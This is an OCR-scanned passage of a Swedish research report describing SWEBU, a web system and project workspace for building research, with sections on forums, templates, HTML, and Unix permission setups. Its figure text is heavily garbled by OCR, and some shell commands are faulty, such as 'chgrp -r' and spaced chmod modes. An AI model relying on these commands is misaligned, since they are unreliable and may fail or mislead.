for den skull behova korrigera nagra ldnkar i dokumenten. Ytterligare
referenser till HTML (Hypertext Markup Language) dterfinnes i (W3C, 1997).

6.6 KLIENT/SERVER

I dagens system dr det vanligt att man distribuerar tjinster over ett néitverk, sa
att de systemdelar som &r bist pa en viss uppgift far betjidna de ovriga. I ett
system kan det finnas olika typer av servers (betjdnare) till exempel:
databasservers, fileservers av olika slag, HTTP-servers, mailservers (for
elektronisk post), News-servers (for konferenser), nameservers o.s.v. Dessa
servers kan kora pa en eller flera fysiska maskiner.
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Serverbegreppet hir dr alltsa inte kopplat till den fysiska maskinen, utan till
den eller de tjinster som tillhandahalls. For att utnyttja dessa olika tjdnster
krdvs det klienter. Ibland kan samma klientprogramvara hantera ménga olika
tjanster samtidigt. Exempelvis kan WWW-bldddraren Netscape Navigator bl a
lasa elektronisk post, News och vanliga WWW-sidor; samtliga tjinster
servade (betjdnade) fran var sin server.

Precis som pa Systembolaget bildas det ofta koer i rusningstid. For att
avhjilpa dessa problem kan man antingen 6ka varje servers kapacitet eller 6ka
antalet servers. Det senare dr att foredra eftersom man pa sa sitt far béttre
driftssikerhet i systemet som helhet. Skulle en av manga servers falla ifran,
kommer detta att mérkas betydligt mindre d4n om en server med hog kapacitet
bland fa drabbas av funktionsbortfall.

7. Metodik

Sa kallad inkrementell prototyping, eller demonstratormetod har anvénts.
Denna medger att man i projektgruppen bestaende av experter fran bade
anvidndarnas omraden och informationsteknikexperter efterhand kan
konkretisera annars mycket abstrakta fragor. Fragor som ror integrationen av
avancerad informationsteknik, systemdesign och erfarenheter fran de
tillimpningar man modellerar och implementerar. Idéer kan vickas,
kommuniceras, analyseras och snabbt implementeras i en demonstrator, som
till en forsta borjan huvudsakligen utgors av gidnssnittstorslag med viss form
och funktion, men utan egentligt systeminnehall bakom.

Projektdeltagarna har tillgang till anvédndaridentitet och 16senord for att kunna
komma at system och arbetsyta fran World Wide Web, WWW.
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SWEBU

Figur 11 SWEBU-systemet bestar av en systemdel riktad mot externanvandarna
och en arbetsyta for design/utvecklingsteam. Arbetsytan 6vergar till en
drift- och underhallsyta nar systemet tas i produktion.

8  Systemfunktioner

8.1 KUNSKAPSNOD SWEBU

SWEBU’s systemdel dvs projektnodens webbaserade granssnitt har utseende
enligt figur 12. Den enda funktion som ej dr implementerad &r “rapportering®.
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Projektnod SWEBU

SWEBT_T (Bwredish Building Research on the World "Wide %Web) drent
byeeforskningsprojekt som gor forskningsmiljder och forskning sprojekt,

finansierade av

‘B FRE (B weeforakning aifidet)

Iatt Stkonumliga dver Intemet. Swehn &r ochad en kommnikationssta mellan
bverforskningarfdet, forskare och intreazenter 1 ind natin.

Sok i forskningsdatabasen  \Oppnas i eget finster
Projektdata, deltagare, publikationer. ..
Det g &1 ofoowen att 2”°ka p& i walda delar av internet

Eonferera { [Oppnas 1 eget fHnater

Det firns fiir nerrarande w8 gropper. en grpp som dar do kan diskuters
swebu avatemet, news dmilvns, et Ith, 2elzwebu. avopunlker och en gpp
news Mmilvnzg, ket Ith. selswebn. teat som kan anvadas for aft teata att din
klient ar ratt installd eller fér dvning i att anvEnda news svstemet.

Adresser { 1Oppnas i eget fngter!)
Ett adressregister Over alla inblandade i ZWEETT.

Fiordjupning ( Oppnas i eget finater )
Yad ar BWEBU, hur anvander jag miz av det.

Ansokan { Oppnas 1 eget fHnster
Jag will att BWEB T zkall lanka till imin zida

Rapportering { I0ppnas i sget fonster!) — |,
Lanma projektrapport. 4

EFR samarbetar med nationella och internationslla forskningzory anisationer samt har nthite
med mlEdaka forskningsorgan, instimtoner och enskilda forskare. Bwrebewakingen
ntomlands sker wia bwggatachéer i Bonn, Birvasel, London, Log Angeles, Milano, Pards och
Tokwo samt genom EUT-kontakter.

Figur 12  Kunskapsnoden SWEBU’s anvéndargranssnitt per den 10.9.1996.
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8.1.1 Sokning i svenska byggforskningsprojekt pa WWW

SWEBU’s indexmotor genererar automatiskt nytt index med jimna
mellanrum. Soksidan nar man genom att klicka pa “Sok i
forskningsdatabasen® avbildad 1 figur 12. Sokfonstret enligt figur 13 kommer
da upp och man kan skriva in valfritt sokuttryck (fritext med mojlighet att
dven anvinda Booleska uttryck som t ex AND och OR).

Resultatet presenteras relevansrankat med tréaffbild i form av adresser till sidor
tillsammans med korta sammanfattningar.

Indexeringen sker genom att en webrobot hdmtar innehallet frén en lista
(enligt BFR-administratérens onskemal) med URL-adresser (Uniform
Resource Locator) till avdelningar och forskningsgrupper med egna
webservers runtom i landet (exempelvis; http://delphi.kstr.lth.se/).

Som indexeringsmaskin anvéndes Excite (http://www.excite.com) vilken i
projektet anpassats till SWEBU’s sid design.

SWEBU soksida

2ok idokoment relaterade fill Svensk bwezforskning

Enter () words describing a concept or ) kewwrords wou wish to find fnformation about:

saf g

o>

Rik

Documentation about making queries is available.

@

Figur 13  Soékning i SWEBU'’s index dver svensk byggforskning.
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8.1.2 Diskussionsforum i SWEBU

Genom att klicka pa “Konferenser* i figur 12 nar man SWEBU’s
diskussionsforum, se figur 14. Diskussionsforumet bestar av lokala
newsgrupper dir angeldgna konferenser/diskussioner kan foras.

Det finns for nidrvarande tva 6ppna grupper, en grupp didr man kan diskutera
SWEBU-systemet, (news://milvus kstr.lth.se/swebu.synpunkter) och en grupp
(news://milvus kstr.Ith.se/swebu.test) som kan anvéndas for att testa att
anvindarnas WW W-klienter &r ritt instédllda eller for 6vning 1 att anvénda
News-systemet.

Mews Server
;@ tnilvus kstrlth se = At skapanyakonferenser

swebu synpunkter |
[ news Iu.se [default news host)
Ak

Subject: ATt sEapa n¥a EONIETENSET
Date: Foi, 18 Oct 1996 10:56:59 +0000
From: Per Christianszon <Per Chiistiansson@@kste 1th. se=
Reply-To: per. chiistianssong kst Ith. ze
Organization: Lund [Tniversity
Hewsgroups: swebu. avnpunkier

Hir kan vi lagga in synpunkter pid SWEBU projketet.

Ti kan starta en =sirskild konferensyta om exvis SERFIN.
an=svyaret fdr att skapa denma konferens har handliggaren
pd EFE.

Fer Christiansson

Figur 14  SWEBU har méjligheter till diskussioner (méten/konferenser) av
angelagna fragor i egen News-server.

Tanken &r att vem som helst kan uttrycka 6nskemal om 6ppnande av nya
grupper/méten exempelvis inom fukt eller IT-omradet. Ansvarig handldggare
pa BFR fattar beslut om sa skall ske. Han/hon kan eventuellt dven fungera
som moderator 1 gruppen/métet. Inkomna inlidgg ligger kvar obegrédnsad tid.
Systemet kan dven konfigureras for att lata inldggen ligga kvar i servern, ett
minsta och hogsta antal dagar. Det dr 4ven mojligt att skapa
losenordsskyddade grupper dér privata diskussioner kan bedrivas av dem som
har tilltrdde dit. Se figur 15.
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Mews Server

;@ rnilvus kst lbh s e
control

jurik

livsrnedel

e %wehu.‘ﬁ graups]

Subiect | M

—.swehu.prival

swebu sympunkter
swebuy test

Subject: En n¥ grupp
Drate: Sun, 05 Jan 1997 22:45:14 +0100
From: Tno Engbory <Uno. Engborg @kt Ith, se=
Organizaton: EE2-Media Lah
Hewsgronps: sweby. prvat

I denna grupp kan man bedriva privata diskussioner
eftersom man miste logga in f£Or att lisa och skriwa

Uno Engborg phone ;. +460 4612223910
FES-Il=dia Lab +AE5( 701594272
Lund Institute of Technology

F.O. box 112 fax: +46(46)2223949
221 000 LUKD, SWEDEN E-mail: Uno.Enghorgikstr . 1th. ==

Figur 15 Man kan &ven skapa lésenordsskyddade grupper/méten om sa 6nskas.
Netscape News-server stodjer aven kryptering med SSL, Secure Socket
Layer. (Detta senare kraver att man har ett sa kallat certifikat).

Svar pd inldgg kan ske savil till gruppen/motet som till enskilda
motesdeltagare per e-mail.

Konferenssystemet har foljande struktur:

- grupp/mdte pa Oversta nivan (skapas och tas bort av BFR-handldggare),

- trddar inom grupp/mote som samlar inldgg ordnade efter &mne pa
inldgget och nér inldgget kom in. Tidsordningen har givetvis betydelse
eftersom det &r en diskussion som fors.

8.1.3 Mallar

Hér kan man hitta mallar for hur man ska kunna fylla i statusrapportering. Se
figur 16. Mallen dr densamma som KBS-Media Lab anvinder for att
informera om pégaende projekt pa World Wide Web.
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Stams Report

Project Title:

Mrite the project title here.

GoaliPurpose:

If goals drift dwing project comments arﬁ made here.

o>

Relevance

Give reference to economical, society and environemntal benefit.

o>

fpecify project novelty. In which domain is the project mainly il
sitvated - deep, lateral, exploration,

analyses, methodological, etc.

International knowledge within the area. Own competence. E;
<l

Methodology

Methodology fies wsed in a few words. tain project consolidation points.

This heading is continowsly wp-dated dwring the project. il
REeports, practical implementations, seminars, jowrnal articles,

ﬂectures, conrse support, academic

examines, follow-up projects, etc. E;

F=] I

Project Set-up

Status: (new, ongoing, increased, delayed, finished)
Froject no:

Start-finish dates:

Froject leader:

|

Figur 16  Formular for inmatning av statusrapport till BFR fran SWEBU.
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8.2 ARBETSYTA

I projektet etablerades en arbetsyta pa Word Wide Web, WWW, for att
underlitta kommunikation mellan projektdeltagarna. Arbetsytan utgor ett
viktigt resultat fran projektet, figur 17. Denna bor anvindas och
vidareutvecklas 1 en eventuell fortséttning av projektet.

o)
A ‘. Wi KBS MediaLab
Lunds universitet
Swebu Arbetsyta # werst

Bveeforskningsridet

&
- hon ——w
Eapporter htesantecknincar Anslagstavla
@ A ?
w— el Eommunicers  Arbetsyta  Instruktiomer

Figur 17  En arbetsyta etablerades i projektet pA WWW. Denna kan nas éverallt dar

Internetanslutning finns.

Arbetsytan innehéaller tre nivaer av dokumentation, se figur 17,

- Rapport , dir arbetsrapport kontinuerligt kan goras synlig. (Har endast

delvis anvénts 1 projektet). Hér ar det 1dampligt att systematiskt samla
erfarenheter fran projektet och gora dem synliga for projektdeltagare
och senare drifts- och underhallspersonal.

- Motesanteckningar. 1 denna finns anteckningar (med figurer) fran
moten som héllits i de bada delprojekten tillsammans

- Anslagstavlan. 1 denna finns for ndrvarande instruktioner om hur
datorlagrat material kan sédndas mellan projektdeltagarna. I
anslagstavlan kan exempelvis ett layout forslag ldggas in for
kommentar av projektdeltagarna.

I figur 17 syns &@ven en fast ram ldngst ner pa bilden. Se dven figur 18. Denna

innehaller foljande funktioner:

- direkthopp till SWEBU-systemet,

- navigationshjilp i SWEBU-systemet om sa skulle behdvas (dnnu ej
implementerad) (“kompassrosen®),

- anropa kommunikationsresurserna (“‘den semaforerande gubben®),
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- hoppa till arbetsytans frontsida (“arbete pagar®),

- djupare forklaring av arbetsytan (“?-tecknet®),

- sokning 1 sérskild uppslagsbok med ordforklaringar (ej implementerad).
Samma vokabuldir ér tankt att kunna anvéndas 1 det firdiga systemet.

@ 1~ A 7

——  Hymbu Eommunicera Arbetsita  Instrukbioner

Figur 18 Den stationdra resursramen i arbetsytan med navigations-,
kommunikations resurser och hjalpfunktioner.

8.2.1 "Rapporter"

Hir ges mojlighet att ldgga en stomme till SWEBU-rapporten vilken kan
fyllas pa av projektdeltagarna efterhand som arbetet fortskrider.

Ett enkelt verktyg for att skriva in text fran valfri persondator uppkopplad mot
Internet ges. inifrain WWW-klienten hanteras en enkel editor (ordbehandlare)
med vars hjdlp text ldggs in. Texten skrivs in direkt i sa kallat HTML-format
(Hypertext Markup Language). HTML ér ett mérksprak. Miarkningen talar om
vilken typ av text det ror sig om. T ex om det &r en rubrik eller om det &r
brodtext. Notera att HTML-mérkningen inte sdger nagonting om hur texten
ska grafiskt representeras 1 WWW-klienten utan utgor en rent logisk
mirkning. Det &r de lokala instdllningarna i1 anvéindarens WWW-klient som
avgor det grafiska utseendet. Mérkelementen utgors av text skriven inom <>.
Direfter foljer texten man vill méirka logiskt, vanligtvis avslutat med ett
stoppelement som ser ut som startelementet men som @ven innehaller en slash
(/) fore mérktexten. For att borja ett nytt dokument anvénds foljande mérken:

<HTML>

<HEAD>

<TITLE>Hir skriver man en titel pd sidan som skall identifiera den i ett
globalt perspektiv.</TITLE>

</HEAD>

<BODY>

Hir ldgger man in texten 1 dokumentet

</BODY>

</HTML>

Nedan foljer ett exempel péd hur texten i dokumentets body-del kan se ut;

<p>

Denna brodtext hamnar i ett nytt stycke. I den
har texten kan man ldgga in en onumrerad
lista.



36

ENGBORG U., CHRISTIANSSON P., STJERNFELDT F.
<ul>
<li> det fOrsta listelementet
<li> det andra listelementet
</ul>
Har tog listan slut och brodtexten fortsatter
som tidigare. Man kan aven referera till
bilder. Har foljer en bild.
<IMG SRC = "bildfilnamn.gif" ALT="text om
bilden

ej visas">
Filen med namnet "bildfilnamn.gif" ligger i
samma katalog som HTML-filen.
8.2.2 "Mbotesanteckningar"

Under SWEBU-projektets gang har nagra moten dokumenterats. Dessa moten
finns atkomliga da man klickar pa “Motesantecknings®-ikonen pa arbetsytan.
Motesanteckningarna innehaller text och bilder och nés fran valfri WWW-
klient.

823 " Anslagstavla"

I anslagstavlan finns for nérvarande instruktioner om hur datorlagrat material
kan sédndas mellan projektdeltagarna. I anslagstavlan kan exempelvis ett
layoutforslag ldggas in for kommentar av projektdeltagarna.

Under projektets gang vill man mellan de formella motena gora information
tillgdnglig for alla deltagarna. Anslagstavlans funktion &r att hysa denna
information. Man kan exempelvis ldgga ut en bild och lite text och samtidigt
skicka ett e-mail till hela gruppen (under “Kommunikation*) for att
uppméirksamma att nagot nytt dr anslaget och kanske begéra in synpunkter.
Om nagon i gruppen vill ha sitt material utlagt direkt atkomligt pa websidan
gors detta av systemansvarig efter uppmaning.

Anslagstavlan kan senare kompletteras med ett konferenssystem. Vi bedomer
det ej vara nodvindigt da projektgruppen dr mindre 10 personer. E-mail
fungerar da bra for kommunikation i icke-realtid. Man kan dven sitta i ett
gemensamt telefonméte med lokal tillgang till SERFIN pd WWW som stod
under motet. Innehéllet i anslagstavlan vid projektets avrapportering visas i
figur 19.
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SWEBU. Anslagstavla

L g

s Lagringsstruktur f6r SWEBU

s Anvindarnas vy mot SWEBU projektbhas
» BFR handlaggarvy mot SWEBU projektbas

s Databas modell

] A ?

e Hurel Eommunirera drbetsyta  Instruktioner

Figur 19 | “Anslagstavlan® gérs material tillgéngligt fér granskning mellan de
formella métena.

8.3 KOMMUNIKATION

Nir man klickar pa ikonen som forestiller en gubbe som semaforerar Gppnas
ett separat fonster som innehaller kommunikationsresurserna. Foljande
resurser finns inlagda, se figur 20, och nds genom att man klickar pa
respektive ikon.

- Sind ett elektroniskt brev, e-mail, till alla projektdeltagarna.

- Adress till den server man skall anropa om man vill deltaien
videokonferens 6ver Internet (krdver att man har tillgang till
programmet CuSeeMe fran Cornell University).

- E-mail till enskilda deltagare.

- Anrop av deltagares egen hemsida om sadan finns.
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Swebu

Kommunikation

Slicka ett email 6l alla i Swebu. e

Arrangera et videomore med o3 pd wir reflekor
{130.235.88.86). T . F ﬂ

Deltagare

Projektledare:

Jan Sandelin .
t.1. enhetschef handlazzrer Foll om i
y bweenadsiveik, bwggprocessen och IT-tvee
08-617 7373

Per Christiansson e
Aazoc, Poof,
Project leader KB 3-TMedia Lab
0de-Z22 39 11

Forskare:

¢ Uno Engborg e
Resesarch aszistant LB 3-Media Lab P
Dda-Z22 39 10 '

Fredrik Stjernfeldt .
Research assistant KB 3-Media Lab B
Nd6-222 39 13 :

Figur 20 Kommunikationsresursen i SWEBU's arbetsyta. Hela sidan &r ej
medtagen i figuren.

Varje anvidndare maste kunna koppla upp sig mot Internet. I universitetsmiljo
ar det vanligen ldttast att koppla in sig pa ett redan existerande TCP/IP-
Ethernet-nétverk. Dock kréivs det att man har rétt konfigurerad TCP/IP-
mjukvara installerad. Om forskaren befinner sig pa filtet eller i hemmet kan
denne anvénda sig av PPP (Point-to-Point Protocol) (se kapitel 11.8 "PPP")
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over ett modem eller ISDN. For mera stationéra forbindelser kan man tinka
sig att hyra fasta telelinjer av t ex. Telia.

84 KVALITETSSAKRING

Man skall alltid kunna se vem som lagt in information som ér tillgéinglig over
Internet. For den information som ldggs ut av BFR finns en person som
ansvarar for att det som publiceras innehaller korrekt information, dvs
stimmer med de projektbeskrivningar, projektdeltagare, anslagsbelopp etc
som beslutats.

For den information som nas via BFR’s index (eller andra publika index)
ansvarar givetvis den lokale utldggaren for informationens dkthet och innehall.

9. Hur kan informationen lagras

De aspekter som skall beaktas vid val av informationslagringsmetod &r:

- Underhallsaspekter.
- Atkomstaspekter, t ex soktid och fritextsokningsmojligheter.
- Sékerhetsaspekter.

De val som stér till buds i WWW sammanhang ir filer innehédllande dokument
av exempelvis HTML eller PDF-format eller databaser.

9.1 LAGRING PA FIL

9.1.1 HTML-dokument

Fordelen med att lagra sin information som HTML-dokument ér att det enkelt
gar att gora dokumentens innehall sokbara med fritextsokning genom att
indexera dem med nagon av de indexeringsmaskiner som finns t ex Glimpse
(pa operativsystemet UNIX), Excite (pa operativsystemen UNIX, Windows
NT) och WAIS (pa UNIX) for att nimna nagra av de program som finns att
tillga gratis pa Internet.

Dessa sokmaskiner kan vara lokala, dvs de indexerar bara dokumenten pa den
egna WWW-servern, eller globala, da d@ven innehallet pa andra WWW servers
indexeras. Pa dagens Internet agerar ett antal sidana indexeringsrobotar med
vars hjilp det dr mojligt att soka dokument globalt. Exempel pa sadana dr
Excite (http://www.excite.com), Alta Vista (http://www .altavista.digital.com).

HTML-dokument &r dag enkla att skapa dven utan kunskaper i HTML, dé det
finns editorer dir HTML-koden é&r helt dold for anvéndaren. Tillverkarna av
dessa program brukar bendmna dem “What you see is what you get*,

39
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WYSIWYG-program. Detta dr dock nagot missvisande eftersom HTML-
mérkningen inte i detalj talar om hur layouten skall se ut dd dokumentet visas i
klienten, utan 1 stéillet anger vad det &r for typ av information som dokumentet
innehaller. Det &r klientens sak att avgora hur de ska visas.

Anledningen till att det fungerar bra dnda &r att WWW-klienterna visar
rubriker med fet stil och brodtext med normal stil eftersom det 4r sa vi dr vana
att en rubrik skall se ut. Goda exempel pa saidana HTML-editorer &r Claris
Homepage (for operativsystemen NT/Win95, MacOS), Netscape Gold
(NT/Win95, UNIX, MacOS), PageMill fran Adobe Systems (MacOS) och
Microsoft Frontpage (http://www.microsoft.com) Ofta blir kodkvaliteten
samre med dessa editorer &n om den handkodas 1 en vanlig texteditor. Det kan
till exempel rora sig om hur storlekar pé bilder specificeras mm.
Kvalitetsskillnaden kan till exempel mérkas pa hur lang tid det tar ladda ned
och visa en sida 1 en WWW-klient. Vidare hamnar man ofta i det laget att
utseendet pA HTML-sidan i WWW-klienten inte blev riktigt som man tinkt
sig, och att det dr ndstan omajligt att fa den rétt utan att gd in och dndra i
HTML-koden.

Om man anvénder nagot WYSIWYG-verktyg &r det déarfor viktigt att man har
mojlighet att gd in i koden och gora manuella d@ndringar, och att dessa kvarstar
om dokumentet editeras med editorn pa nytt, &tminstone sa linge man inte
dndrar i samma del av dokumentet som man dndrat manuellt. Pa sa sétt blir det
mojligt for en HTML-kunnig person att gora en slutkontroll och
kodoptimering av dokument, som skrivits av webtekniskt mindre bevandrade
skribenter, innan dokumenten publiceras pa WWW.

9.1.2 Serverside-includes och PUT

En annan anledning till att ga in och dndra i r&a HTML-kod kan vara att
mojliggora anvindandet av serverside-includes, nagot som det hittills inte
finns ndgon WYSIWYG-editor som klarar. Genom att anvinda serverside-
includes kan man lata WWW-servern komplettera dokumenten med detaljer
som skall finnas genomgéende pa varje dokument som till exempel
sidhuvuden och sidfotter. Pa sa sitt dr det mojligt att édndra t.ex. sidhuvud och
bakgrundsfirg eller bakgrundsbild pa samtliga dokument pa en WWW-server
med kanske hundratals dokument bara genom att dndra i ett enda dokument.

Man bor dock tidnka pa att serverside-includes ej dr del av HTML-standarden
och att varje server har sina egna finesser och sitt att utfora dem och att
dokumenten dérfor kan behdva modifieras om man byter HTTP-server
programvara. Detta dr troligen dven ett av skilen till att vi inte ser nagra
HTML-editorer med inbyggt stdd for dessa funktioner.

Pa senare tid har det blivit vanligt med editorer som klarar av att anvénda
HTTP-protokollets PUT-funktion for att ldagga in editerade sidor direkt till
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WWW-servern. Exempel pa sadana &r Netscape Gold och Microsoft
Frontpage. Bada programmen fungerar bra men Frontpage har en del ovrigt att
onska vad det giller sékerhet.

Det dr t ex mycket litt hédnt att anviindare av misstag eller okunskap ldgger in
scriptmotorer (program som exekverar script, dvs smad programsnuttar skrivna
i ett scriptsprak) som t.ex. Perl (Wall & Schwartz, 1991) i serverns cgi-
bibliotek (bibliotek med script). (Se dven kapitel "9.5.1 CGI, common
gateway interface"). Detta kan fa 6desdigra konsekvenser om nagon anropar
dessa program och later dem exekvera script med olampligt innehall. Generellt
sdtt bor inte anvédndare utan goda kunskaper 1 datasikerhet skapa cgi-
tillimpningar eftersom fallgroparna &r manga.

9.1.3 Lagringsstruktur for HTML-dokument

Forutom att det bor finnas en vil genomténkt logisk struktur (se kapitel "6.4
Filstruktur for HTML-dokument i SWEBU") i vilken man lagrar dokument for
att ldsarna ska kunna hitta den information de soker bor man ta hénsyn till
WWW mediets tekniska begrinsningar. Vissa lagringsstrukturer 4r ndmligen
bittre dn andra ur teknisk och underhéallsmissig synvinkel.

Lat oss ta ett exempel: Antag att vi i vara dokument har en foretagslogo, samt
ett antal bilder med pilar som vi anvinder pa varje sida for navigation i vér
dokumentstruktur. Det dr da lampligt att samla dessa bilder i ett bibliotek och
lagga en symbolisk ldnkat till denna mapp i varje annan mapp som innehéller
HTML- dokument som refererar till bilderna. Pa sa sétt kan man i dokumenten
alltid referera till bilderna pa samma sitt oavsett var i dokumentstrukturen
dokumentet befinner sig. Dokumenten kan dédrigenom fritt flyttas mellan olika
bibliotek pa servern utan att man behover dndra ldnkarna till dessa bilder
varigenom risken for brutna lankar minskar och administrationen forenklas.

Det finns dock en nackdel med detta forfarande. WWW klienter med lokal
disk eller minnescache kan instrueras att soka i denna nér anvindaren begir en
URL (Uniform Resource Locator, se kapitel "11.6 HTTP"). Finns dokumentet
redan i cachen hamtas det dérifran i stillet i frin WWW servern. Dokumentet
visas ddrigenom mycket snabbare. Om vi anvinder symboliska ldnkar
kommer varje léank till bilden/ikonen att uppfattas som en ny URL och dérmed
hiamtas fran WWW-servern. Detta trots att det kanske redan finns en
uppsittning med identiska bilder lagrad i minnescachen.

914 Bildformat

Vid langsamma nétforbindelser (t.ex. vid modemforbindelser) kan langsam
nedladdning av bilder irritera anvéndaren. For att fa sa snabb funktion som
mojligt bor man alltid ange storlek pa bilderna samt en 'alternativ text' (text
som visas om bilden ej kan laddas ner) till bilderna 1 en WWW sida. Genom
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att anvinda bildformaten 'interlaced gif' eller 'progressive JPEG' laddas
bilderna sa att hela bilden syns direkt pa skdrmen. Till en borjan med dalig
kvalitet som dock efterhand som bilden laddas ned forbittras.

'Progressive JPEG' dr ett relativt nytt format som tar litet utrymme men dnda
ger god kvalitet vilket innebér att bilderna laddas snabbare &n en interlaced
gif. Det faktum att formatet dr nytt gor att det inte stdds av en del dldre
WWW-klienter som t ex Netscape 1.1. Framtidens bildformat kommer
forhoppningsvis att bli PNG (Portable Network Graphics) som har mycket stor
bildkompression vilket ger snabb 6verforing. Detta format dr dven béttre pa att
gora anti-aliasing (kantutjimning) mot bakgrunden for transparenta bilder &n
dagens gif-format. PNG inkluderar dven ett metadata filformat som gor det
mojligt att ldgga in beskrivande texter 1 bilden som s6kmaskiner kan anvénda
for att hitta bilden. Mojligheter finns att lagra bilden sa att den gar snabbare att
ladda ner.

9.1.5 Lankar mellan HTML-dokument

Om man har mdnga sammanldnkade dokument kan det bli svart att halla reda
pé lankar mellan dokumenten. Det finns dock hjidlpmedel for att kontrollera att
alla lankar leder nagon vart ett exempel pa sadana verktyg ar Momspider (for
operativ system UNIX),. Detta genererar rapporter 6ver brutna hypertext
lankar.

9.1.6 Behorighetskontroll for dokumentatkomst

En annan nackdel med att lagra sin information direkt 1 filsystemet édr att
behorighetskontrollen kommer att utforas av operativsystemet . Mojligheterna
att gora detta pa ett flexibelt sitt dr begrinsade i de flesta operativsystem. Ofta
kan man bara styra lds- och skrivrittigheter, medan man i t ex en databas kan
ge rattigheter att 1dgga till men inte ta bort.

I UNIX har varje anvindare ett eget anviindarnamn som han tillsammans med
ett Iosenord anger for att logga in och pa sa sétt fa tilltrdde till systemet. Varje
anvéndare tillhor alltid atminstone en anviandargrupp som
systemadministratoren tilldelat honom da hans konto skapades. Anvidndarna
kan forutom standardgruppen tillhdra andra grupper. Samtliga dessa
anvindargrupper dr skapade och definierade av systemadministratdren, dvs
systemadministratoren anger vad gruppen ska heta och vem som &dr med i den.

BSD orienterade dialekter av UNIX tillater att en anvidndare &r aktiv i mer én
en grupp samtidigt medan System V bara tillater att anvidndaren &r aktiv i en at
gangen av de grupper som systemadministratoren tilldelat honom . For att byta
mellan de grupper man har tillgéng till anvinder man kommandot newgrp..
Under UNIX har t ex varje fil en dgare och en gruppigare. Agaren, gruppen
och Ovriga anvédndare kan ges behorigheter att skriva, ldsa eller exekvera filen.
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Pa samma sitt kan en person via sin grupp ges tillatelse att @ndra en fil som
dgs av en grupp som han sjlv tillhdr. Genom att varje registrerad anvindare
av systemet tillhor en viss grupp kan man hirigenom styra
rattighetsfordelningen bland anvéndarna. Nedanstaende exempel belyser vilka
problem som kan uppstd med att anvinda systemet for filatkomst.

Antag att man vill ge tvd olika grupper av anvéndare, benimnda READ och
UPDATE, olika behdrigheter for ett visst bibliotek 1 filsystemet bendmnt
'DATA'. READ gruppen skall bara fa ldsa medan UPDATE gruppen ska ha
béde lds- och skrivbehorigheter.

Vid en flyktig blick verkar detta enkelt. Man skapar tva anviandargrupper
READ och UPDATE och later biblioteket DATA &gas av gruppen READ.
Problemet uppstar nér vi upptécker att biblioteket DATA bara kan dgas av en
grupp at gdngen och saledes inte kan dgas av bade grupperna READ och
UPDATE samtidigt.

I moderna UNIX system, som t ex senare versioner av Solaris (fran och med
version 2.5 ), finns sa kallade Access Control Lists (ACL) som 13ser detta
problem. Men pa éldre system maste man ta till andra Iosningar om man ér i
behov av mera avancerad behorighetskontroll.

En teknik &r att anvianda ett kontrollbibliotek, CONTROL, som skir av
atkomsten till underliggande biblioteksstrukturer. Om kontrollbiblioteket dgs
av gruppen READ som ges behorighet att ldsa och exekvera (visa innehall)
samt inga behorigheter for Ovriga anviandare kommer READ-gruppens
deltagare ha behorighet att ldsa filerna 1 bibliotekstréadet.

For att klara av anvandargruppen UPDATE’s goromél maste vi dela upp
gruppen i tva grupper som vi kallar READ och WRITE. Medlemmarna i den
nya READ-gruppen kommer nu att besta av medlemmarna i WRITE gruppen
samt de som fanns i1 den ursprungliga READ-gruppen. Med hjilp av dessa
grupper (READ, WRITE) skapar man nu det 6verordnade kontrollbiblioteket
CONTROL .

Antag att man befinner sig i biblioteket som innehéller biblioteket DATA. Kor
foljande UNIX-script som systemadministrator (root).

mkdir CONTROL
#skapar biblioteket CONTROL

chgrp READ CONTROL
#Andrar gruppidgarskap p& biblioteket CONTROL
#till gruppen READ

chmod g=rx, o= CONTROL
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#Ger gruppadgaren (READ) mojlighet att lasa och
#exekvera(att se filer) i biblioteket CONTROL
#0vriga anviandare f8r inga rdttigheter alls

mv DATA CONTROL
#flyttar in biblioteket DATA i biblioteket
# CONTROL

cd CONTROL
#byter aktuellt bibliotek till CONTROL

chgrp -r WRITE DATA
#Lat gruppen WRITE &dga biblioteket data och
#alla underliggande bibliotek i DATA

chmod g=rwx, o=rx DATA

#Lat gruppdgaren (WRITE) f& fullstadndiga
#rattigheter i biblioteket DATA. Ovriga
#anvandare far bara se och ldsa filerna i DATA

cd DATA
#byter aktiva bibliotek till DATA

chmod g=rw, o=r *

#Tilldter gruppdgaren(WRITE) till filerna i
#DATA f& ldsa och skriva dessa filer. Ovriga
#anvandare far bara lé&sa

Vi far da en struktur enligt figur 10.
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CONTROL drwxr-x-- root READ

DATA drwxr-x-- root WRITE

-rwxr--r-- root WRITE

drwxr-x-- root WRITE DATA

Figur 21 Filstruktur for behdrighets tilldelning i BSD dialekter av UNIX. Anvéndare i
gruppen READ far lasa innehallet i mappen data och dess innehal,
Anvandare i gruppen WRITE far aven skriva.

Systemet fungerar bést 1 'BSD' (Berkeleydialekten) orienterade UNIX
dialekter dédr en anvindare kan vara medlem i flera grupper samtidigt. I det hir
fallet bade read och write. Pa 'system-V' orienterade system maste man
manuellt byta grupp med newgrp-kommandot for att fa skrivbehorigheter. Om
detta upplevs som allt for omsténdligt av anvédndarna, eller om anvéndarna
laddar ned filerna till servern med hjélp av ftp och déirigenom inte kan gora
newgrp, finns det en annan mdjlig 16sning.

I stéllet for att som 1 det forra fallet ha en READ och en WRITE grupp och
definiera UPDATE som unionen av dessa skapar man hér grupperna READ
och UPDATE och tvé separata kontrollbibliotek READC och UPDC

mkdir READC/ UPDC/
chgrp READ READC/
chgrp UPDATE UPDC/
chmod g+rx, o= READC/
chmod g+rwx, o= UPDC/

Flytta data sé att det hamnar i biblioteket READC/DATA

chgrp -r UPDATE DATA
chmod g=rwx, o=rx DATA
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cd DATA

chmod g=rw, o=r *

cd ../../UPDC/

ln -f READC/DATA DATA

Bade READC och UPDC innehaller nu DATA och anvindare i gruppen
UPDATE kan skriva via UPDC/DATA och anvindare 1 gruppen read kan ldsa
via READC/DATA. For att skapa hardlankade bibliotek méste man pa de
flesta system vara inloggad som 'root'. Vissa system tilldter inte detta alls till
exempel Linux, och SGI Irix.

READC UPDC
Z

drwxr-x--- root RE drwxrwx--- root UPDATE
r Hard lank
v
DATA
/ \

/ drwxrwxr-x root UPDATE

-rw-rw-r-- root UPDATE

DATA

drwxrwxr-x root UPDATE

Figur 22  Filstruktur fér behdrighetstilldelning i System-V orienterade UNIX system.
Systemet bygger pa att mappen DATA far ytterligare ett namn (UPDC)
genom en s.k. hard lank

Ovanstaende exempel kan, forutom att anvindas for att ge verkliga ménskliga
anvéandargrupper olika behorigheter dven anvéndas for att t ex lataen WWW
server kora under en viss grupp t ex READ och READC i figurerna ovan for
att hoja sidkerheten 1 systemet.

9.2 LAGRING I DATABASER

